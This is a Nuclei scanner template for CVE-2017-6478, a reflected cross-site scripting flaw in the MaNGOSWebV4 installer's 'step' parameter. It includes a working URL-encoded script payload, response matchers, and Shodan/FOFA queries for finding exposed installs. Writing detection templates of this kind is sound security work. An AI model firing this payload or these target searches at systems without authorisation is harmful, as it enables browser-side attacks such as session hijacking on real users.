id: CVE-2017-6478

info:
  name: MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
  author: 0xr2r
  severity: medium
  description: |
   paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL
  impact: |
   Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
   Update to version 4.0.8 or later.
  reference:
    - https://github.com/paintballrefjosh/MaNGOSWebV4/issues/15
    - https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8
    - https://www.exploit-db.com/exploits/52457
    - https://nvd.nist.gov/vuln/detail/CVE-2017-6478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-6478
    cwe-id: CWE-79
    epss-score: 0.02574
    epss-percentile: 0.83632
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MaNGOS Web Enhanced V4 Installer"
    fofa-query: body="MaNGOS Web Enhanced V4 Installer"
  tags: cve,cve2017,xss,mangoswebv4,paintballrefjosh

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "MaNGOS Web Enhanced V4 Installer"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e7e04b56f524fa6c6c2442f0cb8ab807f684f993d45e07eee97d6ac1be276141022100e5883b745e42981f5990d554a0fea39d63eba2fb39a9b27bdd8921307f4b1e09:922c64590222798bb761d5b6d8e72950